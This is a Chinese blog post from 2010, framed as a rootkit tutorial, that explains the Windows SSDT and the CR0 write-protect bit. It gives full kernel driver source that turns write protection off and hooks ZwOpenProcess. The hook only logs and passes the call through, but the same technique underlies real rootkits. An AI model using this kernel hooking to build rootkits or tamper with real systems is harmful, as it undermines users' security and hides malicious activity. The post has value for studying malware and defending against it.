2010年12月5日 星期日

Rootkit之SSDT hook(通過CR0去保護)

SSDT即System Service Dispath Table,它是一個表,這個表中有內核調用的函數地址。

KeServiceDescriptorTable:是由內核(Ntoskrnl.exe)導出的一個表


,這個表是訪問SSDT的關鍵,具體結構是

typedef struct ServiceDescriptorTable {

PVOID ServiceTableBase;

PVOID ServiceCounterTable(0);

unsigned int NumberOfServices;

PVOID ParamTableBase;

}



其中,

ServiceTableBase System Service Dispatch Table 的基地址。

NumberOfServices 由 ServiceTableBase 描述的服務的數目。

ServiceCounterTable 此域用於操作系統的 checked builds,包含著 SSDT 中每個服務被調用次數的計數器。這個計數器由 INT 2Eh 處理程序 (KiSystemService)更新。

ParamTableBase 包含每個系統服務參數字節數表的基地址。



CR0當中有一個寫保護位,是保護內存不可寫屬性的,為了能夠寫入內核,只能把它的保護給咔嚓掉了,不過……如果做完了手腳但不還原寫保護屬性的話,極有可能會BOSD.



代碼實例如下:



#include <NTDDK.h>



#pragma pack(1)

typedef struct ServiceDescriptorEntry {

unsigned int *ServiceTableBase;

unsigned int *ServiceCounterTableBase; //Used only in checked build

unsigned int NumberOfServices;

unsigned char *ParamTableBase;

} ServiceDescriptorTableEntry, *PServiceDescriptorTableEntry;

#pragma pack()



_declspec(dllimport) ServiceDescriptorTableEntry



KeServiceDescriptorTable;



NTSYSAPI NTSTATUS ZwOpenProcess(OUT PHANDLE ProcessHandle,

IN ACCESS_MASK DesiredAccess,

IN POBJECT_ATTRIBUTES ObjectAttributes,

IN PCLIENT_ID ClientId);



typedef NTSTATUS (*ZWOPENPROCESS)(OUT PHANDLE ProcessHandle,

IN ACCESS_MASK DesiredAccess,

IN POBJECT_ATTRIBUTES ObjectAttributes,

IN PCLIENT_ID ClientId);



#define SYSTEMSERVICE(_function)



KeServiceDescriptorTable.ServiceTableBase[*(PULONG)((PUCHAR)_function + 1)]



ZWOPENPROCESS OldZwOpenProcess;



NTSTATUS MyZwOpenProcess(PHANDLE ProcessHandle,

ACCESS_MASK DesiredAccess,

POBJECT_ATTRIBUTES ObjectAttributes,

PCLIENT_ID ClientId)

{

NTSTATUS ntStatus = STATUS_SUCCESS;



KdPrint(("MyZwOpenProcess\r\n"));



//調用原來的NtOpenProcess;

ntStatus = OldZwOpenProcess(ProcessHandle, DesiredAccess, ObjectAttributes, ClientId);



return ntStatus;

}



VOID DriverUnload(IN PDRIVER_OBJECT DriverObject)

{

__asm


{

cli

mov  eax,cr0

and  eax,not 10000h

mov  cr0,eax

}



(ZWOPENPROCESS)SYSTEMSERVICE(ZwOpenProcess) = OldZwOpenProcess;//恢復HOOK SSDT



__asm


{

mov  eax,cr0

or   eax,10000h

mov  cr0,eax

sti

}



KdPrint(("驅動卸載完畢!\r\n"));

}



NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject,

IN PUNICODE_STRING pRegistryPath)

{

NTSTATUS status = STATUS_SUCCESS;

KdPrint(("The driver begin loading.\r\n"));

DriverObject->DriverUnload = DriverUnload;

OldZwOpenProcess = (ZWOPENPROCESS)SYSTEMSERVICE(ZwOpenProcess);



__asm


{

cli

mov  eax,cr0

and  eax,not 10000h

mov  cr0,eax

}



(ZWOPENPROCESS)SYSTEMSERVICE(ZwOpenProcess) = MyZwOpenProcess;    



//HOOK SSDT



__asm


{

mov  eax,cr0

or   eax,10000h

mov  cr0,eax

sti

}




KdPrint(("The driver ends loading\r\n"));

return status;

}


沒有留言:

張貼留言